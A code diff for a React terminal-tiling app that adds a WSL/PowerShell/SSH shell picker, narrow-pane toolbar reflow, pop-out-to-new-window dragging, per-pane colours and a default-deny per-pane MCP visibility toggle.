padding-top: 6px;
|
||||
color: #88c;
|
||||
}
|
||||
|
||||
.leaf-missing-host {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
height: 100%;
|
||||
text-align: center;
|
||||
padding: 16px;
|
||||
background: #0c0c0c;
|
||||
color: #d66;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 12px;
|
||||
}
|
||||
.leaf-missing-host p {
|
||||
margin: 4px 0;
|
||||
}
|
||||
.leaf-missing-host .hint {
|
||||
color: #888;
|
||||
font-size: 11px;
|
||||
max-width: 36ch;
|
||||
}
|
||||
|
||||
.pane-status {
|
||||
margin-left: auto;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
|
|
@ -171,6 +246,9 @@
|
|||
.pane-status.idle { color: #d96060; }
|
||||
|
||||
.pane-actions {
|
||||
/* Final fallback right-anchor (non-claude pane has no .pane-ctx, and at
|
||||
narrow tiers .pane-status is hidden) so the close button stays pinned right. */
|
||||
margin-left: auto;
|
||||
display: flex;
|
||||
gap: 2px;
|
||||
}
|
||||
|
|
@ -193,8 +271,92 @@
|
|||
background: #5a1a1a;
|
||||
color: #fcc;
|
||||
}
|
||||
|
||||
/* ---- narrow-pane reflow -------------------------------------------------
|
||||
The close button stays visible at every width; lower-priority toolbar items
|
||||
drop out by tier so a 180px pane keeps its close ×. */
|
||||
.leaf--narrow .pane-status,
|
||||
.leaf--narrow .pane-actions .pane-btn:not(.close) {
|
||||
display: none;
|
||||
}
|
||||
.leaf--xnarrow .pane-status,
|
||||
.leaf--xnarrow .pane-actions .pane-btn:not(.close),
|
||||
.leaf--xnarrow .distro-wrap,
|
||||
.leaf--xnarrow .bcast-chip {
|
||||
display: none;
|
||||
}
|
||||
.xterm-wrap {
|
||||
flex: 1 1 auto;
|
||||
min-height: 0;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
/* Right-click context menu on the pane toolbar. Fixed-positioned popover
|
||||
floating in the viewport; the LeafPane parent renders it inside its
|
||||
own DOM tree so clicks within the menu still get the
|
||||
stop-propagation chain. */
|
||||
.pane-context-menu {
|
||||
z-index: 200;
|
||||
min-width: 180px;
|
||||
background: #1a1a1a;
|
||||
color: #e6e6e6;
|
||||
border: 1px solid #2a5a8c;
|
||||
border-radius: 4px;
|
||||
padding: 4px;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 12px;
|
||||
box-shadow: 0 6px 24px rgba(0, 0, 0, 0.6);
|
||||
}
|
||||
.pane-context-menu-item {
|
||||
display: block;
|
||||
width: 100%;
|
||||
text-align: left;
|
||||
background: transparent;
|
||||
color: #e6e6e6;
|
||||
border: none;
|
||||
border-radius: 2px;
|
||||
padding: 6px 10px;
|
||||
font: inherit;
|
||||
cursor: pointer;
|
||||
}
|
||||
.pane-context-menu-item:hover {
|
||||
background: #2a5a8c;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
/* Cursor-following ghost shown while dragging a pane toolbar (B1). Rendered
|
||||
into document.body via a portal, offset from the cursor, and pointer-events
|
||||
none so it never disturbs the elementFromPoint hit-test that drives the
|
||||
drop-target highlight. */
|
||||
.pane-drag-ghost {
|
||||
position: fixed;
|
||||
z-index: 1000;
|
||||
/* transform set inline so the chip can flip to the cursor's inner side
|
||||
near the right/bottom edges (keeps it visible while pinned to the edge). */
|
||||
pointer-events: none;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
max-width: 320px;
|
||||
padding: 4px 10px;
|
||||
border: 1px solid #5a8cd8;
|
||||
border-radius: 4px;
|
||||
background: rgba(20, 28, 40, 0.95);
|
||||
box-shadow: 0 4px 14px rgba(0, 0, 0, 0.5);
|
||||
font: inherit;
|
||||
font-size: 12px;
|
||||
color: #cfe0f5;
|
||||
white-space: nowrap;
|
||||
}
|
||||
.pane-drag-ghost-label {
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
}
|
||||
.pane-drag-ghost.detach {
|
||||
border-color: #e09838;
|
||||
color: #ffd9a0;
|
||||
}
|
||||
.pane-drag-ghost-hint {
|
||||
font-weight: 600;
|
||||
color: #ffb840;
|
||||
}
|
||||
|
|
|
|||
|
|
@ -7,13 +7,29 @@ import {
|
|||
type MouseEvent,
|
||||
type PointerEvent as ReactPointerEvent,
|
||||
} from "react";
|
||||
import { type LeafNode, resolveFontSize } from "./tree";
|
||||
import { createPortal } from "react-dom";
|
||||
import { type LeafNode, resolveFontSize, type LeafShellSpec } from "./tree";
|
||||
import { resolvePaneColors } from "../theme";
|
||||
import { useOrchestration } from "./orchestration";
|
||||
import XtermPane from "../../components/XtermPane";
|
||||
import type { SpawnSpec } from "../../ipc";
|
||||
import "./LeafPane.css";
|
||||
|
||||
const IDLE_THRESHOLD_MS = 5000;
|
||||
|
||||
/** How far past a viewport edge the cursor must travel before a release is
|
||||
* treated as "drag pane out of window" instead of "drop on empty space
|
||||
* inside this window". Picked so an accidental release on the OS titlebar
|
||||
* (~30px tall) stays inside the threshold. */
|
||||
const PANE_DRAG_OUT_MARGIN = 60;
|
||||
|
||||
/** True when a point is past any viewport edge by PANE_DRAG_OUT_MARGIN. */
|
||||
const isFarOutsideViewport = (x: number, y: number) =>
|
||||
x < -PANE_DRAG_OUT_MARGIN ||
|
||||
x > window.innerWidth + PANE_DRAG_OUT_MARGIN ||
|
||||
y < -PANE_DRAG_OUT_MARGIN ||
|
||||
y > window.innerHeight + PANE_DRAG_OUT_MARGIN;
|
||||
|
||||
export default function LeafPane({ leaf }: { leaf: LeafNode }) {
|
||||
const orch = useOrchestration();
|
||||
const isActive = orch.activeLeafId === leaf.id;
|
||||
|
|
@ -27,6 +43,7 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
|
|||
const [editingLabel, setEditingLabel] = useState(false);
|
||||
const [labelDraft, setLabelDraft] = useState("");
|
||||
const labelInputRef = useRef<HTMLInputElement | null>(null);
|
||||
const rootRef = useRef<HTMLDivElement | null>(null);
|
||||
|
||||
const startEditLabel = useCallback(
|
||||
(e: MouseEvent) => {
|
||||
|
|
@ -57,26 +74,60 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
|
|||
[commitLabel, cancelLabel],
|
||||
);
|
||||
|
||||
// ---- distro popover ----------------------------------------------------
|
||||
const [distroOpen, setDistroOpen] = useState(false);
|
||||
const toggleDistroMenu = useCallback((e: MouseEvent) => {
|
||||
// ---- shell-picker popover ----------------------------------------------
|
||||
// Hierarchical menu: WSL distros, then Windows (PowerShell), then SSH
|
||||
// hosts + a "Manage hosts…" entry. Picking any item swaps the leaf id
|
||||
// (forces respawn).
|
||||
const [shellMenuOpen, setShellMenuOpen] = useState(false);
|
||||
const toggleShellMenu = useCallback((e: MouseEvent) => {
|
||||
e.stopPropagation();
|
||||
setDistroOpen((v) => !v);
|
||||
setShellMenuOpen((v) => !v);
|
||||
}, []);
|
||||
const pickDistro = useCallback(
|
||||
(d: string) => {
|
||||
setDistroOpen(false);
|
||||
if (d !== leaf.distro) orch.setDistro(leaf.id, d);
|
||||
const pickShell = useCallback(
|
||||
(spec: LeafShellSpec) => {
|
||||
setShellMenuOpen(false);
|
||||
// Only respawn if the spec is actually different from what's running.
|
||||
if (spec.shellKind === "wsl" && leaf.shellKind === "wsl" && spec.distro === leaf.distro) {
|
||||
return;
|
||||
}
|
||||
if (spec.shellKind === "powershell" && leaf.shellKind === "powershell") {
|
||||
return;
|
||||
}
|
||||
if (
|
||||
spec.shellKind === "ssh" &&
|
||||
leaf.shellKind === "ssh" &&
|
||||
spec.sshHostId === leaf.sshHostId
|
||||
) {
|
||||
return;
|
||||
}
|
||||
orch.setShell(leaf.id, spec);
|
||||
},
|
||||
[orch.setDistro, leaf.id, leaf.distro],
|
||||
[orch.setShell, leaf.id, leaf.shellKind, leaf.distro, leaf.sshHostId],
|
||||
);
|
||||
const onManageHosts = useCallback(
|
||||
(e: MouseEvent) => {
|
||||
e.stopPropagation();
|
||||
setShellMenuOpen(false);
|
||||
orch.openHostManager();
|
||||
},
|
||||
[orch.openHostManager],
|
||||
);
|
||||
// Dismiss popover on outside click
|
||||
useEffect(() => {
|
||||
if (!distroOpen) return;
|
||||
const onDocClick = () => setDistroOpen(false);
|
||||
if (!shellMenuOpen) return;
|
||||
const onDocClick = () => setShellMenuOpen(false);
|
||||
window.addEventListener("click", onDocClick);
|
||||
return () => window.removeEventListener("click", onDocClick);
|
||||
}, [distroOpen]);
|
||||
}, [shellMenuOpen]);
|
||||
|
||||
// Label shown on the dropdown chip — tells the user what's currently
|
||||
// running without expanding the menu.
|
||||
const chipLabel =
|
||||
leaf.shellKind === "powershell"
|
||||
? "PowerShell"
|
||||
: leaf.shellKind === "ssh"
|
||||
? `ssh: ${orch.hosts.find((h) => h.id === leaf.sshHostId)?.label ?? "(missing host)"}`
|
||||
: (leaf.distro ?? "(default)");
|
||||
|
||||
// ---- idle detection ----------------------------------------------------
|
||||
// Local boolean for the red border + status text on this pane; reported
|
||||
|
|
@ -107,6 +158,22 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
|
|||
return () => orch.reportLeafIdle(leaf.id, false);
|
||||
}, [leaf.id, orch.reportLeafIdle]);
|
||||
|
||||
// ---- width tier ---------------------------------------------------------
|
||||
// Drives which toolbar items collapse on a narrow pane (CSS does the hiding).
|
||||
// The close button + context indicator stay visible at every tier; min pane
|
||||
// width is 180px (MIN_PANE_PX), so "xnarrow" must keep those reachable.
|
||||
const [widthTier, setWidthTier] = useState<"" | "narrow" | "xnarrow">("");
|
||||
useEffect(() => {
|
||||
const el = rootRef.current;
|
||||
if (!el) return;
|
||||
const ro = new ResizeObserver(() => {
|
||||
const w = el.clientWidth;
|
||||
setWidthTier(w < 230 ? "xnarrow" : w < 320 ? "narrow" : "");
|
||||
});
|
||||
ro.observe(el);
|
||||
return () => ro.disconnect();
|
||||
}, []);
|
||||
|
||||
// ---- broadcast ---------------------------------------------------------
|
||||
const onTerminalInput = useCallback(
|
||||
(b64: string) => {
|
||||
|
|
@ -145,11 +212,51 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
|
|||
[orch.setActive, leaf.id],
|
||||
);
|
||||
|
||||
// Delegate keyboard navigation intents from XtermPane up to App via
|
||||
// orch.navigateTo. XtermPane stays dumb (emits intent only); App resolves
|
||||
// the target leaf from the current layout and bumps focusTrigger.
|
||||
const onPaneNavigate = useCallback(
|
||||
(intent: Parameters<typeof orch.navigateTo>[0]) => orch.navigateTo(intent),
|
||||
[orch.navigateTo],
|
||||
);
|
||||
|
||||
const onStatus = useCallback((msg: string, ok: boolean) => {
|
||||
setStatus(msg);
|
||||
setStatusOk(ok);
|
||||
}, []);
|
||||
|
||||
// ---- right-click context menu ------------------------------------------
|
||||
// Single entry in v1: "Move to new window" (pops the pane out into a
|
||||
// fresh top-level tiletopia window without losing the PTY).
|
||||
const [menuPos, setMenuPos] = useState<{ x: number; y: number } | null>(null);
|
||||
const openContextMenu = useCallback(
|
||||
(e: MouseEvent<HTMLDivElement>) => {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
setMenuPos({ x: e.clientX, y: e.clientY });
|
||||
},
|
||||
[],
|
||||
);
|
||||
const closeContextMenu = useCallback(() => setMenuPos(null), []);
|
||||
useEffect(() => {
|
||||
if (!menuPos) return;
|
||||
const onDocClick = () => setMenuPos(null);
|
||||
const onEsc = (e: globalThis.KeyboardEvent) => {
|
||||
if (e.key === "Escape") setMenuPos(null);
|
||||
};
|
||||
// Defer attaching the click listener so the click that opened the menu
|
||||
// doesn't immediately close it.
|
||||
const t = window.setTimeout(() => {
|
||||
window.addEventListener("click", onDocClick);
|
||||
window.addEventListener("keydown", onEsc, true);
|
||||
}, 0);
|
||||
return () => {
|
||||
clearTimeout(t);
|
||||
window.removeEventListener("click", onDocClick);
|
||||
window.removeEventListener("keydown", onEsc, true);
|
||||
};
|
||||
}, [menuPos]);
|
||||
|
||||
// ---- header-drag swap ---------------------------------------------------
|
||||
// Drag the toolbar onto another pane's toolbar/body to swap their tree
|
||||
// positions. Uses a movement threshold so accidental tiny moves while
|
||||
|
|
@ -158,6 +265,17 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
|
|||
const dragStartRef = useRef<{ x: number; y: number; armed: boolean; dragging: boolean } | null>(
|
||||
null,
|
||||
);
|
||||
// Cursor-following ghost shown while dragging the toolbar. `detach` flips
|
||||
// true once the cursor is past the viewport edge by PANE_DRAG_OUT_MARGIN,
|
||||
// mirroring the release condition in onToolbarPointerUp so the ghost
|
||||
// previews what a release right now would do.
|
||||
const [dragGhost, setDragGhost] = useState<{
|
||||
x: number;
|
||||
y: number;
|
||||
detach: boolean;
|
||||
flipX: boolean;
|
||||
flipY: boolean;
|
||||
} | null>(null);
|
||||
const isDragSource = orch.dragSourceId === leaf.id;
|
||||
const isDragTarget =
|
||||
orch.dragOverId === leaf.id && orch.dragSourceId !== leaf.id;
|
||||
|
|
@ -197,6 +315,23 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
|
|||
const tEl = el?.closest("[data-leaf-id]");
|
||||
const targetId = tEl?.getAttribute("data-leaf-id") ?? null;
|
||||
orch.setHeaderDragOver(targetId);
|
||||
// Move the cursor-following ghost (B1). It has pointer-events:none so
|
||||
// it doesn't interfere with the elementFromPoint hit-test above.
|
||||
// A webview can't paint outside its own OS window, so once the cursor
|
||||
// crosses the edge we clamp the chip to the viewport (and flip it to
|
||||
// the cursor's inner side near right/bottom) so it stays visible and
|
||||
// its `detach` styling is what previews the release. `detach` itself
|
||||
// is computed from the RAW cursor position so the preview is accurate.
|
||||
const GHOST_PAD = 4;
|
||||
const FLIP_X_ZONE = 180; // ~max chip width
|
||||
const FLIP_Y_ZONE = 48;
|
||||
setDragGhost({
|
||||
x: Math.max(GHOST_PAD, Math.min(e.clientX, window.innerWidth - GHOST_PAD)),
|
||||
y: Math.max(GHOST_PAD, Math.min(e.clientY, window.innerHeight - GHOST_PAD)),
|
||||
detach: isFarOutsideViewport(e.clientX, e.clientY),
|
||||
flipX: e.clientX > window.innerWidth - FLIP_X_ZONE,
|
||||
flipY: e.clientY > window.innerHeight - FLIP_Y_ZONE,
|
||||
});
|
||||
},
|
||||
[orch.beginHeaderDrag, orch.setHeaderDragOver, leaf.id],
|
||||
);
|
||||
|
|
@ -208,12 +343,23 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
|
|||
(e.currentTarget as HTMLElement).releasePointerCapture(e.pointerId);
|
||||
const wasDragging = st.dragging;
|
||||
dragStartRef.current = null;
|
||||
if (wasDragging) {
|
||||
document.body.style.cursor = "";
|
||||
setDragGhost(null);
|
||||
if (!wasDragging) return;
|
||||
document.body.style.cursor = "";
|
||||
|
||||
const releasedFarOutside = isFarOutsideViewport(e.clientX, e.clientY);
|
||||
|
||||
if (releasedFarOutside) {
|
||||
// Cancel any in-flight swap state without committing, then pop
|
||||
// this pane into a fresh window. moveToNewWindow handles the
|
||||
// PTY-handoff + closeLeaf in the source.
|
||||
orch.endHeaderDrag(false);
|
||||
orch.moveToNewWindow(leaf.id);
|
||||
} else {
|
||||
orch.endHeaderDrag(true);
|
||||
}
|
||||
},
|
||||
[orch.endHeaderDrag],
|
||||
[orch.endHeaderDrag, orch.moveToNewWindow, leaf.id],
|
||||
);
|
||||
|
||||
const onToolbarPointerCancel = useCallback(
|
||||
|
|
@ -223,6 +369,7 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
|
|||
(e.currentTarget as HTMLElement).releasePointerCapture(e.pointerId);
|
||||
const wasDragging = st.dragging;
|
||||
dragStartRef.current = null;
|
||||
setDragGhost(null);
|
||||
if (wasDragging) {
|
||||
document.body.style.cursor = "";
|
||||
orch.endHeaderDrag(false);
|
||||
|
|
@ -233,9 +380,34 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
|
|||
|
||||
const labelText = leaf.label ?? "(unnamed)";
|
||||
|
||||
// Resolve the SpawnSpec from the leaf + host table. If shellKind=ssh but
|
||||
// the referenced host was deleted, we surface an error in the toolbar
|
||||
// status instead of spawning an unrelated shell.
|
||||
const spec: SpawnSpec | null = (() => {
|
||||
if (leaf.shellKind === "wsl") {
|
||||
return { kind: "wsl", distro: leaf.distro, cwd: leaf.cwd };
|
||||
}
|
||||
if (leaf.shellKind === "powershell") {
|
||||
return { kind: "powershell" };
|
||||
}
|
||||
const host = orch.hosts.find((h) => h.id === leaf.sshHostId);
|
||||
if (!host) return null;
|
||||
return {
|
||||
kind: "ssh",
|
||||
host: host.hostname,
|
||||
user: host.user,
|
||||
port: host.port,
|
||||
identityFile: host.identityFile,
|
||||
jumpHost: host.jumpHost,
|
||||
extraArgs: host.extraArgs,
|
||||
hostId: host.id,
|
||||
};
|
||||
})();
|
||||
|
||||
return (
|
||||
<div
|
||||
className={`leaf${isActive ? " active" : ""}${isBroadcasting ? " broadcasting" : ""}${isIdle ? " idle" : ""}${isDragSource ? " drag-source" : ""}${isDragTarget ? " drag-target" : ""}`}
|
||||
ref={rootRef}
|
||||
className={`leaf${isActive ? " active" : ""}${isBroadcasting ? " broadcasting" : ""}${isIdle ? " idle" : ""}${isDragSource ? " drag-source" : ""}${isDragTarget ? " drag-target" : ""}${widthTier ? ` leaf--${widthTier}` : ""}`}
|
||||
role="group"
|
||||
aria-label={`Terminal pane: ${leaf.label ?? leaf.distro ?? "unnamed"}`}
|
||||
data-leaf-id={leaf.id}
|
||||
|
|
@ -247,6 +419,7 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
|
|||
onPointerMove={onToolbarPointerMove}
|
||||
onPointerUp={onToolbarPointerUp}
|
||||
onPointerCancel={onToolbarPointerCancel}
|
||||
onContextMenu={openContextMenu}
|
||||
>
|
||||
{editingLabel ? (
|
||||
<input
|
||||
|
|
@ -271,26 +444,74 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
|
|||
<span className="distro-wrap">
|
||||
<button
|
||||
className="distro-chip"
|
||||
onClick={toggleDistroMenu}
|
||||
title="Change distro (respawns the pane)"
|
||||
onClick={toggleShellMenu}
|
||||
title="Change shell (respawns the pane)"
|
||||
>
|
||||
{leaf.distro ?? "(default)"} ▾
|
||||
{chipLabel} ▾
|
||||
</button>
|
||||
{distroOpen && (
|
||||
{shellMenuOpen && (
|
||||
<div
|
||||
className="distro-menu"
|
||||
className="distro-menu shell-menu"
|
||||
role="menu"
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
>
|
||||
{orch.distros.map((d) => (
|
||||
<button
|
||||
key={d}
|
||||
className={`distro-menu-item${d === leaf.distro ? " active" : ""}`}
|
||||
onClick={() => pickDistro(d)}
|
||||
>
|
||||
{d}
|
||||
</button>
|
||||
))}
|
||||
{orch.distros.length > 0 && (
|
||||
<>
|
||||
<div className="shell-menu-header">WSL</div>
|
||||
{orch.distros.map((d) => {
|
||||
const active = leaf.shellKind === "wsl" && d === leaf.distro;
|
||||
return (
|
||||
<button
|
||||
key={`wsl-${d}`}
|
||||
className={`distro-menu-item${active ? " active" : ""}`}
|
||||
onClick={() => pickShell({ shellKind: "wsl", distro: d })}
|
||||
>
|
||||
{d}
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</>
|
||||
)}
|
||||
|
||||
<div className="shell-menu-header">Windows</div>
|
||||
<button
|
||||
className={`distro-menu-item${leaf.shellKind === "powershell" ? " active" : ""}`}
|
||||
onClick={() => pickShell({ shellKind: "powershell" })}
|
||||
>
|
||||
PowerShell
|
||||
</button>
|
||||
|
||||
<div className="shell-menu-header">SSH</div>
|
||||
{orch.hosts.length === 0 ? (
|
||||
<div className="shell-menu-empty">(no saved hosts)</div>
|
||||
) : (
|
||||
orch.hosts.map((h) => {
|
||||
const active =
|
||||
leaf.shellKind === "ssh" && h.id === leaf.sshHostId;
|
||||
return (
|
||||
<button
|
||||
key={`ssh-${h.id}`}
|
||||
className={`distro-menu-item${active ? " active" : ""}`}
|
||||
onClick={() =>
|
||||
pickShell({ shellKind: "ssh", sshHostId: h.id })
|
||||
}
|
||||
title={
|
||||
h.user
|
||||
? `${h.user}@${h.hostname}${h.port ? ":" + h.port : ""}`
|
||||
: `${h.hostname}${h.port ? ":" + h.port : ""}`
|
||||
}
|
||||
>
|
||||
{h.label || h.hostname}
|
||||
</button>
|
||||
);
|
||||
})
|
||||
)}
|
||||
<button
|
||||
className="distro-menu-item shell-menu-manage"
|
||||
onClick={onManageHosts}
|
||||
>
|
||||
Manage hosts…
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</span>
|
||||
|
|
@ -311,6 +532,38 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
|
|||
📡
|
||||
</button>
|
||||
|
||||
<button
|
||||
className={`bcast-chip mcp-chip${leaf.mcpAllow ? " on" : ""}`}
|
||||
onClick={(e) => {
|
||||
e.stopPropagation();
|
||||
orch.toggleMcpAllow(leaf.id);
|
||||
}}
|
||||
title={
|
||||
leaf.mcpAllow
|
||||
? "MCP can see this pane — click to revoke"
|
||||
: "MCP cannot see this pane — click to allow (only matters when the MCP server is on)"
|
||||
}
|
||||
aria-pressed={leaf.mcpAllow ? "true" : "false"}
|
||||
>
|
||||
🤖
|
||||
</button>
|
||||
|
||||
<button
|
||||
className={`bcast-chip color-chip${leaf.colorOverride ? " on" : ""}`}
|
||||
onClick={(e) => {
|
||||
e.stopPropagation();
|
||||
orch.openColorPanel(leaf.id);
|
||||
}}
|
||||
title={
|
||||
leaf.colorOverride
|
||||
? "This pane has custom colours — click to edit"
|
||||
: "Set custom colours for this pane"
|
||||
}
|
||||
aria-pressed={leaf.colorOverride ? "true" : "false"}
|
||||
>
|
||||
🎨
|
||||
</button>
|
||||
|
||||
{isIdle && statusOk ? (
|
||||
<span className="pane-status idle" title={`No output for ${IDLE_THRESHOLD_MS / 1000}s+`}>
|
||||
idle
|
||||
|
|
@ -356,18 +609,75 @@ export default function LeafPane({ leaf }: { leaf: LeafNode }) {
|
|||
</span>
|
||||
</div>
|
||||
<div className="xterm-wrap">
|
||||
<XtermPane
|
||||
distro={leaf.distro}
|
||||
cwd={leaf.cwd}
|
||||
onStatus={onStatus}
|
||||
onSpawn={onPaneSpawned}
|
||||
onInput={onTerminalInput}
|
||||
onDataReceived={onDataReceived}
|
||||
onFocus={onXtermFocus}
|
||||
focusTrigger={focusTrigger}
|
||||
fontSize={resolveFontSize(leaf.fontSizeOffset)}
|
||||
/>
|
||||
{spec ? (
|
||||
<XtermPane
|
||||
spec={spec}
|
||||
existingPaneId={orch.getInitialPaneIdFor(leaf.id)}
|
||||
onStatus={onStatus}
|
||||
onSpawn={onPaneSpawned}
|
||||
onInput={onTerminalInput}
|
||||
onDataReceived={onDataReceived}
|
||||
onFocus={onXtermFocus}
|
||||
onNavigate={onPaneNavigate}
|
||||
focusTrigger={focusTrigger}
|
||||
fontSize={resolveFontSize(leaf.fontSizeOffset)}
|
||||
colors={resolvePaneColors(orch.globalColors, leaf.colorOverride)}
|
||||
/>
|
||||
) : (
|
||||
<div className="leaf-missing-host">
|
||||
<p>SSH host not found</p>
|
||||
<p className="hint">
|
||||
Open the shell menu and pick another host, or add this host back
|
||||
via Manage hosts….
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
{menuPos && (
|
||||
<div
|
||||
className="pane-context-menu"
|
||||
style={{
|
||||
position: "fixed",
|
||||
top: menuPos.y,
|
||||
left: menuPos.x,
|
||||
}}
|
||||
role="menu"
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
onContextMenu={(e) => e.preventDefault()}
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
className="pane-context-menu-item"
|
||||
role="menuitem"
|
||||
onClick={() => {
|
||||
closeContextMenu();
|
||||
orch.moveToNewWindow(leaf.id);
|
||||
}}
|
||||
>
|
||||
Move to new window
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
{dragGhost &&
|
||||
createPortal(
|
||||
<div
|
||||
className={`pane-drag-ghost${dragGhost.detach ? " detach" : ""}`}
|
||||
style={{
|
||||
left: dragGhost.x,
|
||||
top: dragGhost.y,
|
||||
transform: `translate(${
|
||||
dragGhost.flipX ? "calc(-100% - 12px)" : "12px"
|
||||
}, ${dragGhost.flipY ? "calc(-100% - 12px)" : "12px"})`,
|
||||
}}
|
||||
aria-hidden="true"
|
||||
>
|
||||
<span className="pane-drag-ghost-label">{labelText}</span>
|
||||
{dragGhost.detach && (
|
||||
<span className="pane-drag-ghost-hint">↗ New window</span>
|
||||
)}
|
||||
</div>,
|
||||
document.body,
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,6 +1,7 @@
|
|||
import { createContext, useContext, type ReactNode } from "react";
|
||||
import type { Orientation, NodeId } from "./tree";
|
||||
import type { PaneId } from "../../ipc";
|
||||
import type { Orientation, NodeId, LeafShellSpec, Direction } from "./tree";
|
||||
import type { PaneId, SshHost } from "../../ipc";
|
||||
import type { PaneColors } from "../theme";
|
||||
|
||||
/**
|
||||
* Orchestration context — every piece of shared state and every operation
|
||||
|
|
@ -15,14 +16,38 @@ import type { PaneId } from "../../ipc";
|
|||
export interface Orchestration {
|
||||
// Read-only state
|
||||
activeLeafId: NodeId | null;
|
||||
/** WSL distros enumerated from `wsl.exe -l -q`. PowerShell is a separate
|
||||
* shell kind, not in this list. */
|
||||
distros: string[];
|
||||
/** Saved SSH hosts loaded from `hosts.json`. Reactive — changes when the
|
||||
* user edits hosts via {@link openHostManager}. */
|
||||
hosts: SshHost[];
|
||||
/** App-wide default terminal colours. Reactive — edited via the colour
|
||||
* panel. Each leaf resolves its effective theme from this plus its own
|
||||
* {@link LeafNode.colorOverride}. */
|
||||
globalColors: PaneColors;
|
||||
|
||||
// Tree mutations
|
||||
split: (leafId: NodeId, orientation: Orientation) => void;
|
||||
close: (leafId: NodeId) => void;
|
||||
setDistro: (leafId: NodeId, distro: string) => void;
|
||||
/** Change the shell on a leaf (WSL distro / PowerShell / SSH host).
|
||||
* Always forces a respawn — the helper in tree.ts swaps the leaf id so
|
||||
* the renderer remounts XtermPane. */
|
||||
setShell: (leafId: NodeId, spec: LeafShellSpec) => void;
|
||||
setLabel: (leafId: NodeId, label: string | undefined) => void;
|
||||
toggleBroadcast: (leafId: NodeId) => void;
|
||||
/** Flip the per-pane mcpAllow flag. Default-deny; chip in the pane
|
||||
* toolbar drives this. */
|
||||
toggleMcpAllow: (leafId: NodeId) => void;
|
||||
/** Set or clear a leaf's per-pane colour override (undefined → fall back
|
||||
* to the global theme). */
|
||||
setLeafColors: (leafId: NodeId, colors: PaneColors | undefined) => void;
|
||||
|
||||
// SSH host management
|
||||
openHostManager: () => void;
|
||||
/** Open the colour panel. When `leafId` is given the panel starts in
|
||||
* per-pane mode targeting that leaf; otherwise it edits the global theme. */
|
||||
openColorPanel: (leafId?: NodeId) => void;
|
||||
|
||||
// Per-pane orchestration
|
||||
setActive: (leafId: NodeId) => void;
|
||||
|
|
@ -42,8 +67,36 @@ export interface Orchestration {
|
|||
// own quiet-state crosses the threshold; App aggregates so the titlebar
|
||||
// can show an "N idle" count without spamming toast notifications.
|
||||
reportLeafIdle: (leafId: NodeId, idle: boolean) => void;
|
||||
|
||||
// Multi-window pane transfer ---------------------------------------------
|
||||
/** Pop a pane out of the current workspace into a fresh top-level window.
|
||||
* The PTY stays alive across the move (the new window's XtermPane
|
||||
* adopts the existing PaneId; scrollback ring is replayed). */
|
||||
moveToNewWindow: (leafId: NodeId) => void;
|
||||
/**
|
||||
* Navigate focus from within a pane's key-handler. XtermPane emits the
|
||||
* intent; LeafPane/App resolve the target leaf and set it active.
|
||||
*
|
||||
* `{ kind: "direction", dir }` — move to the spatial neighbour in that
|
||||
* direction using the same flattenLayout geometry as Ctrl+Shift+Arrow.
|
||||
* `{ kind: "index", n }` — focus the Nth leaf in DFS (walkLeaves) order,
|
||||
* 1-indexed, clamped to the leaf count (so Alt+9 with 3 panes picks pane 3).
|
||||
*/
|
||||
navigateTo: (intent: NavigateIntent) => void;
|
||||
/** Returns a PaneId only for leaves that just arrived via a window
|
||||
* transfer (so LeafPane can pass `existingPaneId` to XtermPane to skip
|
||||
* the spawn). One-shot — App clears the entry once the pane has
|
||||
* registered. */
|
||||
getInitialPaneIdFor: (leafId: NodeId) => PaneId | undefined;
|
||||
}
|
||||
|
||||
/** Discriminated intent emitted by XtermPane's key handler. App resolves
|
||||
* the actual target leaf from the current tree without XtermPane needing
|
||||
* to know anything about layout geometry or leaf ordering. */
|
||||
export type NavigateIntent =
|
||||
| { kind: "direction"; dir: Direction }
|
||||
| { kind: "index"; n: number };
|
||||
|
||||
const OrchestrationContext = createContext<Orchestration | null>(null);
|
||||
|
||||
export function OrchestrationProvider({
|
||||
|
|
|
|||
|
|
@ -9,8 +9,11 @@ import {
|
|||
leafCount,
|
||||
walkLeaves,
|
||||
changeDistro,
|
||||
setLeafShell,
|
||||
changeLabel,
|
||||
toggleBroadcast,
|
||||
toggleMcpAllow,
|
||||
setLeafColors,
|
||||
adjustFontSize,
|
||||
adjustAllFontSizes,
|
||||
resolveFontSize,
|
||||
|
|
@ -19,11 +22,16 @@ import {
|
|||
MAX_FONT_SIZE,
|
||||
serialize,
|
||||
deserialize,
|
||||
serializeWorkspaces,
|
||||
deserializeWorkspaces,
|
||||
singletonEnvelope,
|
||||
WORKSPACES_VERSION,
|
||||
presetSingle,
|
||||
presetTwoColumns,
|
||||
presetThreeColumns,
|
||||
presetTwoRows,
|
||||
presetTwoByTwo,
|
||||
promoteLeaf,
|
||||
type TreeNode,
|
||||
